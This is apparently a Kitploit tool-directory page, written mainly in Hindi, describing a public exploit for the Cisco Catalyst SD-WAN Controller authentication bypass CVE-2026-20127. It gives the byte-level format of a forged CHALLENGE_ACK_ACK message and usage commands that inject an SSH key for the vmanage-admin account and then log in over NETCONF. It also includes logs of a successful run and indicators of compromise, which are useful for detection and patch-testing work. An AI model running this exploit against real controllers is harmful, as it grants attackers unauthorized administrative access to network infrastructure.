Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/sfewer-r7/cve-2026-20127
भेद्यता विश्लेषणशोषणनेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंग
GitHubsfewer-r7/cve-2026-20127

CVE-2026-20127

Cisco Catalyst SD-WAN Controller प्रमाणीकरण बायपास (CVE-2026-20127) के लिए एक्सप्लॉइट जो DTLS CHALLENGE_ACK_ACK संदेशों को जाली बनाकर अनधिकृत पहुंच प्राप्त करता है और SSH कुंजियाँ इंजेक्ट करता है।

रिपॉजिटरी देखें
2435 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-20127

अवलोकन

Cisco Catalyst SD-WAN Controller प्रमाणीकरण बायपास भेद्यता, CVE-2026-20127 के लिए एक एक्सप्लॉइट।

यह एक्सप्लॉइट vbond_proc_challenge_ack_ack() हैंडलर को लक्षित करता है। यह हमलावर-नियंत्रित verify_status=1 बाइट के साथ एक जाली CHALLENGE_ACK_ACK संदेश (msg_type=10) भेजता है, जो सीधे सर्वर को पीयर एंट्री पर authenticated=1 सेट करने के लिए मजबूर करता है।

यह कैसे काम करता है

सामान्य DTLS कंट्रोल-प्लेन हैंडशेक में:

  1. क्लाइंट प्रमाणपत्र के साथ DTLS के माध्यम से कनेक्ट होता है
  2. सर्वर CHALLENGE (msg_type=8) भेजता है
  3. क्लाइंट प्रमाणपत्र डेटा युक्त CHALLENGE_ACK (msg_type=9) के साथ प्रतिक्रिया देता है
  4. सर्वर प्रमाणपत्र सत्यापित करता है और verify_status=1 के साथ (msg_type=10) भेजता है
CHALLENGE_ACK_ACK

यह एक्सप्लॉइट प्रवाह को शॉर्ट-सर्किट करता है:

  1. क्लाइंट स्व-हस्ताक्षरित प्रमाणपत्र के साथ DTLS के माध्यम से कनेक्ट होता है
  2. सर्वर CHALLENGE भेजता है
  3. क्लाइंट सीधे verify_status=1 के साथ CHALLENGE_ACK_ACK (msg_type=10) भेजता है
  4. सर्वर का vbond_proc_challenge_ack_ack() संदेश बॉडी से verify_status पढ़ता है — यह हमलावर-नियंत्रित है
  5. चूंकि verify_status != 0, सर्वर authenticated=1 सेट करता है (*(BYTE*)(a2+70) = 1)

vbond_proc_msg() में प्रमाणीकरण गेट msg_type=10 को प्रमाणीकरण जांच से छूट देता है, इसलिए यह तब भी काम करता है जब पीयर अभी तक प्रमाणित नहीं है।

Cisco Catalyst SD-WAN Controller (उर्फ vSmart), संस्करण 20.15.3 के विरुद्ध सफलतापूर्वक परीक्षण किया गया।

पैच किए गए Cisco Catalyst SD-WAN Controller (उर्फ vSmart), संस्करण 20.12.6.1 के विरुद्ध विफल होने का परीक्षण किया गया।

उपयोग

root@kitploit:~
Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

उदाहरण

root@kitploit:~
# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

निम्नलिखित स्क्रीनशॉट सफल शोषण और उसके बाद NETCONF सेवा तक SSH पहुंच दिखाता है:

CVE-2026-20127 Example

तकनीकी विवरण

कमजोर फ़ंक्शन: vbond_proc_challenge_ack_ack()

vdaemon (20.12.5) में पते 0x38AB7 पर स्थित। यह फ़ंक्शन आने वाले CHALLENGE_ACK_ACK संदेशों को संसाधित करता है और इसमें ये प्रमुख जांचें हैं:

  1. डुप्लिकेट जांच (a2+112): अस्वीकार करता है यदि इस पीयर के लिए पहले से CHALLENGE_ACK_ACK संसाधित किया गया था। पहली बार, यह काउंटर 0 है → पास हो जाता है।
  2. vBond अस्वीकृति (a1+8 == 4): यदि स्थानीय डिवाइस vBond है तो 20 लौटाता है। हम vSmart (type=3) को लक्षित करते हैं → पास हो जाता है।
  3. टाइमर निर्माण: hello-timer और expiry-timer बनाता है। विफल होने की संभावना नहीं → पास हो जाता है।
  4. verify_status (a3+32): संदेश बॉडी का पहला बाइट पढ़ता है। यदि शून्य है → अस्वीकृति पथ (पीयर विलोपन)। यदि गैर-शून्य है → *(BYTE*)(a2+70) = 1 (प्रमाणित) सेट करता है।

महत्वपूर्ण दोष: verify_status सीधे हमलावर-नियंत्रित संदेश बॉडी से आता है जिसमें कोई सर्वर-साइड सत्यापन नहीं होता है। फ़ंक्शन सत्यापन स्थिति के बारे में पीयर के दावे पर भरोसा करता है।

प्रमाणीकरण गेट छूट

vbond_proc_msg() में, प्रमाणीकरण गेट जो अप्रमाणित पीयर को अधिकांश संदेश प्रकार भेजने से रोकता है, स्पष्ट रूप से msg_type=10 (CHALLENGE_ACK_ACK) को छूट देता है। यह वैध प्रोटोकॉल प्रवाह के लिए आवश्यक है (सर्वर प्रमाणीकरण पूरा होने से पहले क्लाइंट को ACK_ACK भेजता है), लेकिन यह एक हमलावर को सर्वर को जाली ACK_ACK भेजने की भी अनुमति देता है।

वायर प्रारूप

एक्सप्लॉइट 14-बाइट संदेश भेजता है:

root@kitploit:~
Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

IOCs

इस उदाहरण में, लक्ष्य Cisco Catalyst SD-WAN Controller (उर्फ vSmart), संस्करण 20.15.3 था। लक्ष्य का IP पता 192.168.86.166 था और हमलावर का IP पता 192.168.86.35 था।

लॉग फ़ाइल /var/log/vsyslog ने ये संदेश दर्ज किए:

root@kitploit:~
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

लॉग फ़ाइल /var/log/vdebug ने ये संदेश दर्ज किए:

root@kitploit:~
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
"
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up  generated-at:3-9-2026T15:2:12
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

एक्सप्लॉइट का सफलतापूर्वक उपयोग करने के बाद, दूरस्थ हमलावर नए अपलोड किए गए vmanage-admin उपयोगकर्ता की SSH कुंजी का लाभ उठाकर TCP पोर्ट 830 पर SSH के माध्यम से NETCONF सेवा में लॉगिन कर सकता है। लॉग फ़ाइल /var/log/auth.log ने ये संदेश दर्ज किए:

root@kitploit:~
Mar  9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar  9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)
टूल डाउनलोड करें